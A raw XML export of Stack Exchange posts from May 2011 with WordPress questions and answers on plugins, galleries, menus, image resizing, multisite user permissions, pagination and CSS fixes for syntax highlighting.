  <row Id="17520" PostTypeId="2" ParentId="17514" CreationDate="2011-05-17T20:12:43.970" Score="1" ViewCount="" Body="&lt;p&gt;you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_object_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;wp_get_object_terms()&lt;/strong&gt;&lt;/a&gt; function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tags_objects = wp_get_object_terms( $post-&amp;gt;ID, 'post_tag');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-17T20:12:43.970" />
  <row Id="17521" PostTypeId="1" CreationDate="2011-05-17T20:18:21.580" Score="0" ViewCount="59" Body="&lt;p&gt;I am using this plugin: &lt;a href=&quot;http://www.megatome.com/syntaxhighlighter/&quot; rel=&quot;nofollow&quot;&gt;http://www.megatome.com/syntaxhighlighter/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which appears to work ok, minus a few glitches here and there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem, is that I think WordPress is rewriting &lt;code&gt;&amp;lt;?php&lt;/code&gt; with &lt;code&gt;&amp;lt;!--?php&lt;/code&gt; and other tags, presumably for security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to disable this functionality, so that I can show code in it's full:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Here is some PHP in my text...&amp;lt;?php echo 'Foo'; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;rather than having to choose between no &lt;code&gt;&amp;lt;?php&lt;/code&gt; tags and having messed up output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask, because often I write about code that goes in and out of PHP, so having the tags in place is crucial really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this makes sense, and thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- on a side note, is there any way to prevent wordpress parsing the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre class=&quot;brush:php;&quot;&amp;gt;&#xA;return '&amp;lt;img src=&quot;' . $my_img . '&quot; /&amp;gt;';&#xA;&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WordPress will attempt to find an image rather than just output the code, causing all kinds of problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short - what's the best way of showing PHP code on a wordpress blog without having to worry about wordpress breaking the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="5457" LastActivityDate="2011-08-04T14:37:51.960" Title="syntax highlighting and &lt;?php rewriting" Tags="&lt;plugins&gt;&lt;syntax-highlighting&gt;" AnswerCount="2" />
  <row Id="17522" PostTypeId="1" AcceptedAnswerId="17525" CreationDate="2011-05-17T20:22:45.603" Score="0" ViewCount="51" Body="&lt;p&gt;i was making a gallery on my clients site using &lt;code&gt;[gallery]&lt;/code&gt; sortcode. The gallery appears but when clicked it goes to clients other website which i have no idea why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the link &lt;a href=&quot;http://www.build12.com/promotions-pictures/pictures/&quot; rel=&quot;nofollow&quot;&gt;http://www.build12.com/promotions-pictures/pictures/&lt;/a&gt; check the wired link of the pictures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wordpress version is 3.1.1. Please let me know what is your advice. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-05-17T21:18:08.620" Title="Whats wrong with my wp gallery?" Tags="&lt;media&gt;&lt;gallery&gt;&lt;media-upload&gt;" AnswerCount="1" />
  <row Id="17523" PostTypeId="1" CreationDate="2011-05-17T20:24:17.740" Score="0" ViewCount="38" Body="&lt;p&gt;I am writing a multipurpose plugin for myself. One of the options should allow to add snippets with some HTML formatting(b, u, i.. tags, maximum 120 characters). Rest of the options are implemented with settings API and stored in the database under 'squio_options'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the &quot;Add new&quot; section, there is a textarea for the snippet, some combo boxes for location, effect, condition etc. All the details are stored in squio_options[text_snippets] and as multidimensional array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the simplest way i can come up with (adding only textarea output for now) - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// validate settings.&#xA;function validate_settings( $input ) {&#xA;    $input = $output;&#xA;    $options = get_option( 'squiol_options' );&#xA;&#xA;    $snips = $options['snippets'];&#xA;    $snips[] = $input['text_snippet'];&#xA;&#xA;    $output['snippets'] = $snips;&#xA;&#xA;    return $output;&#xA;} // END function validate_settings()&#xA;&#xA;// Display the existing data.&#xA;function display_snippets_list() {&#xA;&#xA;    $options = get_option( 'squio_options' );&#xA;    $snips = $options['snips'];&#xA;&#xA;    echo '&amp;lt;table class=&quot;widefat&quot;&amp;gt;';&#xA;&#xA;    // foreach statement here...&#xA;&#xA;     echo '&amp;lt;/table&amp;gt;';&#xA;} // END function display_snippets_list().&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are my questions -&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a better way to do this? &lt;/li&gt;&#xA;&lt;li&gt;How to do insert a custom function &lt;strong&gt;in between&lt;/strong&gt; the settings fields? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am still not sure how to explain more clearly. Maybe this image can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample mockup - &lt;a href=&quot;http://img842.imageshack.us/img842/8861/firefoxscreensnapz003.gif&quot; rel=&quot;nofollow&quot;&gt;http://img842.imageshack.us/img842/8861/firefoxscreensnapz003.gif&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4182" LastActivityDate="2011-05-17T20:24:17.740" Title="Best way to store, list and manipulate list of snippets through wordpress options API?" Tags="&lt;3.1&gt;&lt;options&gt;" />
  <row Id="17524" PostTypeId="1" AcceptedAnswerId="17615" CreationDate="2011-05-17T20:50:23.313" Score="1" ViewCount="91" Body="&lt;p&gt;I need to import users via csv file. I see lots of plugins that do mass imports, but they all seem to send out new user emails to the new users. Since this is currently being set up on a dev site, I don't want to send out the new user emails. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any plugins that import users without sending out new user notifications&lt;/p&gt;&#xA;" OwnerUserId="5458" LastActivityDate="2011-05-18T17:11:37.690" Title="Mass Import Users without sending new user notification" Tags="&lt;plugins&gt;&lt;users&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17525" PostTypeId="2" ParentId="17522" CreationDate="2011-05-17T20:56:36.603" Score="1" ViewCount="" Body="&lt;p&gt;look at your javascript in the header for the thumb info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;script&amp;gt;&#xA;var thumbfile = &quot;http://bricksandwindows.build12.com&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also repeated on line 179 when viewing source&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-05-17T21:18:08.620" LastActivityDate="2011-05-17T21:18:08.620" CommentCount="1" />
  <row Id="17526" PostTypeId="1" AcceptedAnswerId="17630" CreationDate="2011-05-17T21:14:43.800" Score="0" ViewCount="148" Body="&lt;p&gt;Im searching for some clue about this behavior? I think it is a PHP memory_limit or WP define('WP_MEMORY_LIMIT', 'X') issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes images are resized and sometimes not, in other scenarios the browser crash:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Im using Dreamhost as shared hosting, and their 7 upload limit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Error printed with an uploaded image of 6.4MB of size and with a width and height of: 11684x3855:&#xA;Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 46736 bytes) in /PATH/wp-includes/media.php on line 254&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Other users reports the same issue with files, for example, of 3MB but with higher width and height (superior to 2000px or 3000px).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help is welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2011" LastEditorDisplayName="" LastEditDate="2011-05-19T18:06:24.487" LastActivityDate="2011-05-19T18:06:24.487" Title="Looks like image resize is not working well" Tags="&lt;uploads&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="17527" PostTypeId="1" AcceptedAnswerId="17528" CreationDate="2011-05-17T22:32:46.953" Score="0" ViewCount="120" Body="&lt;p&gt;I want to make one long post, but have it paginate. I read that you could add this: &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt;, but all it did was hide the content under the tag. Is there a plugin that helps do this? Is it possible that my theme may not allow this?&lt;/p&gt;&#xA;" OwnerUserId="2883" LastActivityDate="2011-05-17T22:48:38.790" Title="How can I split long posts into pages?" Tags="&lt;pages&gt;" AnswerCount="1" />
  <row Id="17528" PostTypeId="2" ParentId="17527" CreationDate="2011-05-17T22:48:38.790" Score="3" ViewCount="" Body="&lt;p&gt;Your theme must have support for the &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to add &lt;code&gt;&amp;lt;?php wp_link_pages(); ?&amp;gt;&lt;/code&gt; in your post loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_link_pages&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_link_pages&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-17T22:48:38.790" CommentCount="3" />
  <row Id="17529" PostTypeId="2" ParentId="17504" CreationDate="2011-05-17T23:50:52.020" Score="2" ViewCount="" Body="&lt;p&gt;Wordpress multisite 3.0 doesn't allow site admins to edit users. &lt;a href=&quot;http://wordpress.org/support/topic/administrators-cant-edit-users&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/administrators-cant-edit-users&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5295" LastEditorUserId="5295" LastEditorDisplayName="" LastEditDate="2011-05-17T23:57:35.867" LastActivityDate="2011-05-17T23:57:35.867" CommentCount="1" />
  <row Id="17530" PostTypeId="2" ParentId="17504" CreationDate="2011-05-17T23:58:15.047" Score="4" ViewCount="" Body="&lt;p&gt;As explained in the description of the &lt;a href=&quot;http://codex.wordpress.org/Network_Admin_Users_Screen&quot; rel=&quot;nofollow&quot;&gt;Network Admin Users screen&lt;/a&gt;, in a network install (multisite mode) users are&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;added on a global basis to the entire network, then assigned to specific sites&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Normal administrators are not permitted to modify these global profiles, since their privileges extend only to their given site. This task is reserved for super administrators, who have full control across the entire network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In prior versions of WordPress, when multisite installations relied on separate &lt;a href=&quot;http://mu.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress MU&lt;/a&gt; support, you could define &lt;code&gt;EDIT_ANY_USER&lt;/code&gt; to be true in your wp-config.php file. However, since multisite support was natively integrated, I believe that this was removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To manage network users from the Network Admin Users screen, a user must belong to a role that has at least the &lt;code&gt;manage_network_users&lt;/code&gt; and &lt;code&gt;edit_users&lt;/code&gt; permissions. You &lt;em&gt;could&lt;/em&gt; try creating a custom role that included these and the standard administrator permissions, but I'm not convinced how effective that would be. Personally, I'd just try to avoid circumventing these restrictions.&lt;/p&gt;&#xA;" OwnerUserId="5462" LastEditorUserId="5462" LastEditorDisplayName="" LastEditDate="2011-05-18T00:16:35.967" LastActivityDate="2011-05-18T00:16:35.967" />
  <row Id="17531" PostTypeId="1" AcceptedAnswerId="17537" CreationDate="2011-05-18T00:46:50.050" Score="0" ViewCount="83" Body="&lt;p&gt;I hope this makes any type of sense.  I want to be able to add clauses to a specific query object without effecting the main loop on a page, for example for content in a side bar or footer.  Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-05-18T03:38:14.877" Title="Limiting posts_join, where, etc to a specific WP_Query object?" Tags="&lt;custom-post-types&gt;&lt;wp-query&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="17532" PostTypeId="1" AcceptedAnswerId="17603" CreationDate="2011-05-18T01:17:41.313" Score="0" ViewCount="86" Body="&lt;p&gt;I am using products as a 'custom post type' then I'm displaying a gallery of all products on the home page with a buy button next to each one.  When the buy button is clicked, I would like it to redirect to a page with some more info of that product and a checkout form.  What do I need to send to the URL using the button to retrieve this type of page?  Should I just write my own query or is there something in wordpress that can do this for me?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my form right now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form class='product_form' action=&quot;checkout&quot; method=&quot;get&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;post_id&quot; type=&quot;hidden&quot; value=&quot;&amp;lt;?=$post-&amp;gt;ID?&amp;gt;&quot;/&amp;gt;&#xA;&amp;lt;input type='image' src='&amp;lt;?php  bloginfo('template_url'); ?&amp;gt;/images/buy.png' class='wpsc_buy_button' /&amp;gt; &#xA;&amp;lt;/form&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5416" LastEditorUserId="5416" LastEditorDisplayName="" LastEditDate="2011-05-18T13:46:10.933" LastActivityDate="2011-05-18T15:53:32.867" Title="Display one post based on ID from $_GET" Tags="&lt;custom-post-types&gt;" AnswerCount="2" />
  <row Id="17533" PostTypeId="1" CreationDate="2011-05-18T01:30:29.163" Score="0" ViewCount="53" Body="&lt;p&gt;Is there any way to change the aspect ratio of the WordPress Avatars? Or is this hardcoded?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greetings, .wired&lt;/p&gt;&#xA;" OwnerUserId="5328" LastActivityDate="2011-08-14T13:03:37.357" Title="Change the avatar ratio?" Tags="&lt;image-size&gt;&lt;avatar&gt;" AnswerCount="2" />
  <row Id="17534" PostTypeId="1" CreationDate="2011-05-18T01:38:57.340" Score="2" ViewCount="772" Body="&lt;p&gt;I have a wp_nav_menu &quot;Main Menu&quot; such as the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Top Level (#menu-item-1)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sub Item&lt;/li&gt;&#xA;&lt;li&gt;Sub Item&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Top Level (#menu-item-2)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sub Item&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Top Level (#menu-item-3)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sub Item A&lt;/li&gt;&#xA;&lt;li&gt;Sub Item B&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sub Item a.1&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Sub Item C&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then in my template I want to be able to echo wp_nav_menu Main Menu sub items for say top level with id of menu-item-3 where menu-item-3 is the current menu top item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like this: (but that would actually work of course)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu( array('menu' =&amp;gt; 'Main Menu' 'menu-item-id' =&amp;gt; '3' ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that would return:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sub Item A&lt;/li&gt;&#xA;&lt;li&gt;Sub Item B&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sub Item a.1&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Sub Item C&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If it matters this is so I can show the sub items as side menu interior based on which main menu item section your in dynamically. Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To note, this is not a duplicate of, &quot;http://wordpress.stackexchange.com/questions/2802/display-a-portion-branch-of-the-menu-tree-using-wp-nav-menu&quot;. Though that page has several similar answers, none work as expected with the current version of WordPress. That is showing on particular submenu item and all of its, children, their children and so on (unlimited depth). &lt;/p&gt;&#xA;" OwnerUserId="5465" LastEditorUserId="5465" LastEditorDisplayName="" LastEditDate="2011-05-18T14:58:25.070" LastActivityDate="2011-08-17T02:25:45.910" Title="Show specific menu item from wp_nav_menu based on id" Tags="&lt;menus&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="0" />
  <row Id="17535" PostTypeId="1" AcceptedAnswerId="18405" CreationDate="2011-05-18T01:47:19.813" Score="3" ViewCount="171" Body="&lt;p&gt;OK so i have &lt;code&gt;custom post types&lt;/code&gt; and &lt;code&gt;custom taxonomies&lt;/code&gt;. I have a sub-menu that is made of the custom taxonomies. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;registered taxonomy:&lt;/strong&gt; &lt;em&gt;Movies&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;terms:&lt;/strong&gt; &lt;em&gt;action&lt;/em&gt;, &lt;em&gt;adventures&lt;/em&gt;, &lt;em&gt;etc&lt;/em&gt;. (= menu items)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Problem:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Now &lt;strong&gt;I need to add a &lt;em&gt;highlight&lt;/em&gt;-class&lt;/strong&gt; to the terms when the currently displayed page is an archive of one of the terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am almost looking to use my nav menu as a breadcrumb so to speak.&lt;/p&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-25T18:30:45.340" LastActivityDate="2011-05-27T02:30:02.003" Title="Highlight nav menu terms" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;navigation&gt;&lt;current-filter&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="17537" PostTypeId="2" ParentId="17531" CreationDate="2011-05-18T03:38:14.877" Score="2" ViewCount="" Body="&lt;p&gt;The most reliable way is to define your own query var and then check it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_query = new WP_Query( array(&#xA;  ...&#xA;  'context' =&amp;gt; 'my_query'&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, from your callback:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function alter_post_clauses( $clauses, $wp_query ) {&#xA;  if ( 'my_query' == $wp_query-&amp;gt;get( 'context' ) ) {&#xA;    // do stuff&#xA;  }&#xA;&#xA;  return $clauses;&#xA;}&#xA;add_filter( 'posts_clauses', 'alter_post_clauses', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-05-18T03:38:14.877" CommentCount="1" />
  <row Id="17538" PostTypeId="2" ParentId="17533" CreationDate="2011-05-18T03:41:49.087" Score="0" ViewCount="" Body="&lt;p&gt;The aspect ratio is dictated by the Gravatar service and it's not customizable.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-05-18T03:41:49.087" CommentCount="2" />
  <row Id="17539" PostTypeId="2" ParentId="17332" CreationDate="2011-05-18T03:58:35.387" Score="1" ViewCount="" Body="&lt;p&gt;This appears to be an issue with &lt;a href=&quot;http://alexgorbatchev.com/SyntaxHighlighter/&quot; rel=&quot;nofollow&quot;&gt;SyntaxHighlighter&lt;/a&gt; the underlying js library that the plugin uses. I loaded up the js demo on its own and got the same offset results on my iPhone. I'm still unclear on the reason but the font size of the gutter number is not consistent with the code lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One potential fix is to adjust the font-size on the gutter numbers up by a small percentage to match the code. Media queries could be used to target and apply the fix only for iPhone and iPad devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dropped the following code into the example that comes with the SyntaxHighlighter js package. It corrected the problem on my iPhone. You could probably put this CSS into your WordPress theme and get the same results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;&#xA;/* ios safari line number fix */&#xA;&#xA;  /* ipad */&#xA;  @media only screen and (min-device-width: 768px) and (max-device-width: 1024px) {&#xA;    td.gutter div.line { font-size: 1.4em !important; }&#xA;  }&#xA;&#xA;  /* iphone */&#xA;  @media only screen and (max-device-width: 480px) {&#xA;    td.gutter div.line { font-size: 1.4em !important; }&#xA;  }&#xA;&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It &lt;a href=&quot;http://davekonopka.com/demo/ios_syntax/&quot; rel=&quot;nofollow&quot;&gt;holds up well for me&lt;/a&gt; with lengthy code snippets (50+ lines). I don't have an iPad to test on.&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-05-18T03:58:35.387" CommentCount="3" />
  <row Id="17540" PostTypeId="2" ParentId="16148" CreationDate="2011-05-18T04:08:37.327" Score="1" ViewCount="" Body="&lt;p&gt;Bulk category update (wordpress inclusive) just for adding more categories or to remove a category which is among all selected posts.&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2011-05-18T04:08:37.327" />
  <row Id="17541" PostTypeId="1" AcceptedAnswerId="17597" CreationDate="2011-05-18T04:11:39.917" Score="4" ViewCount="145" Body="&lt;p&gt;I can't use any of the import plugins because of the older version -- so it's kind of a pain, plus the URL permalinks arent very optimal. Any ideas on how to do this? I'm afraid I'd have to do this manually!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;import plugin I mean. the xml import file format changed so I can use it to upload content =/ –&lt;/p&gt;&#xA;" OwnerUserId="3976" LastEditorUserId="3976" LastEditorDisplayName="" LastEditDate="2011-05-20T04:46:02.760" LastActivityDate="2011-05-20T04:46:02.760" Title="How can I migrate a super old version (2.0) of my blog to 3.1?" Tags="&lt;upgrade&gt;&lt;migration&gt;" AnswerCount="5" FavoriteCount="0" />
  <row Id="17542" PostTypeId="2" ParentId="5393" CreationDate="2011-05-18T04:14:53.550" Score="0" ViewCount="" Body="&lt;p&gt;I still dint found any separate plugin for the same. However i did the same by doing some modifications in &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-favorite-posts/&quot; rel=&quot;nofollow&quot;&gt;My Favorite&lt;/a&gt; plugin&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2011-05-18T04:14:53.550" />
  <row Id="17543" PostTypeId="1" CreationDate="2011-05-18T04:26:51.120" Score="2" ViewCount="71" Body="&lt;p&gt;I wrote a plugin which uses &lt;code&gt;wp_enqueue_script()&lt;/code&gt; which will include the snippet in either the header or footer depending on the parameters you pass it. The &lt;code&gt;in_footer&lt;/code&gt; parameter works great - if the theme utilizes the &lt;code&gt;wp_footer()&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are my options if I want to include the JS snippet directly before the &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt;tag if a theme is not using &lt;code&gt;wp_footer()&lt;/code&gt; hook?&lt;/p&gt;&#xA;" OwnerUserId="5467" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-18T06:08:39.907" LastActivityDate="2011-05-18T06:16:04.397" Title="Inserting JS snippet in the footer if there is no wp_footer?" Tags="&lt;plugin-development&gt;&lt;wp-enqueue-script&gt;&lt;footer&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="17544" PostTypeId="2" ParentId="17543" CreationDate="2011-05-18T04:50:09.900" Score="1" ViewCount="" Body="&lt;p&gt;You could use &lt;a href=&quot;http://www.php.net/manual/en/ref.outcontrol.php&quot; rel=&quot;nofollow&quot;&gt;output buffering&lt;/a&gt; and append the script to the end. But you shouldn’t.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It is slow. &lt;/li&gt;&#xA;&lt;li&gt;It is not safe. Some other plugin could run right before you do and compress everything to gzip. You would just invalidate the whole page in this case.&lt;/li&gt;&#xA;&lt;li&gt;The user may have removed &lt;code&gt;wp_footer&lt;/code&gt; intentionally. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Aside: &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt;, the closing tag, is optional. I haven’t used it since 2001. So that’s nothing you can rely on.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-18T04:50:09.900" CommentCount="1" />
  <row Id="17545" PostTypeId="2" ParentId="17541" CreationDate="2011-05-18T04:54:51.177" Score="4" ViewCount="" Body="&lt;p&gt;I could be missing something, because I'm not sure why you're talking about using the import functions, but you could download a few older versions from the &lt;a href=&quot;http://wordpress.org/download/release-archive/&quot; rel=&quot;nofollow&quot;&gt;release archive&lt;/a&gt; and upgrade incrementally. Try going to 2.5, then 2.9, then 3.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's some reason you're concerned that won't work, could you provide more details on the situation?&lt;/p&gt;&#xA;" OwnerUserId="3898" LastActivityDate="2011-05-18T04:54:51.177" CommentCount="3" />
  <row Id="17546" PostTypeId="1" AcceptedAnswerId="17547" CreationDate="2011-05-18T05:08:27.760" Score="1" ViewCount="60" Body="&lt;p&gt;Ive got some super old links that have a lot of SEO juice and I dont want to lose that if I change permalink structure. This is partly due to the older version of WP i have (2.1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use post ids in the structure now, and not the slug name or maybe both&lt;/p&gt;&#xA;&#xA;&lt;p&gt;myblog.com/post/12121/slug-name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i use htaccess for this will Google and other search engines update their links without penalizing me?&lt;/p&gt;&#xA;" OwnerUserId="3976" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-05-18T05:52:48.317" LastActivityDate="2011-05-18T05:52:48.317" Title="If I change permalink structures, can I use htaccess to permanantly redirect links?" Tags="&lt;permalinks&gt;&lt;redirect&gt;&lt;htaccess&gt;&lt;seo&gt;" AnswerCount="1" />
  <row Id="17547" PostTypeId="2" ParentId="17546" CreationDate="2011-05-18T05:24:04.283" Score="2" ViewCount="" Body="&lt;p&gt;Yes you need 301 redirection and you will carry on your SEO juice to the new URLs.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-05-18T05:24:04.283" />
  <row Id="17548" PostTypeId="2" ParentId="17332" CreationDate="2011-05-18T05:43:06.437" Score="1" ViewCount="" Body="&lt;p&gt;It turns out that the style sheet (style.css) for the Twenty Ten theme modifies the size of &lt;code&gt;pre&lt;/code&gt; and &lt;code&gt;code&lt;/code&gt; independently. This appears to be what is causing the problem. Moreover it increases the size of the fonts which causes them to be too big when compared to the rest of the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the lines that cause the issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* =Mobile Safari ( iPad, iPhone and iPod Touch )&#xA;-------------------------------------------------------------- */&#xA;&#xA;pre {&#xA;    -webkit-text-size-adjust: 140%;&#xA;}&#xA;code {&#xA;    -webkit-text-size-adjust: 160%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I commented out these two sections:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* =Mobile Safari ( iPad, iPhone and iPod Touch )&#xA;-------------------------------------------------------------- */&#xA;&#xA;&#xA;/*&#xA;pre {&#xA;    -webkit-text-size-adjust: 140%;&#xA;}&#xA;code {&#xA;    -webkit-text-size-adjust: 160%;&#xA;}&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I guess I am in the strange position of answering my own question. Thanks to all who took time to look at this. Especially @DaveKonopka who at the time of writing was the only one to come up with a possible solution.&lt;/p&gt;&#xA;" OwnerUserId="5382" LastActivityDate="2011-05-18T05:43:06.437" CommentCount="2" />
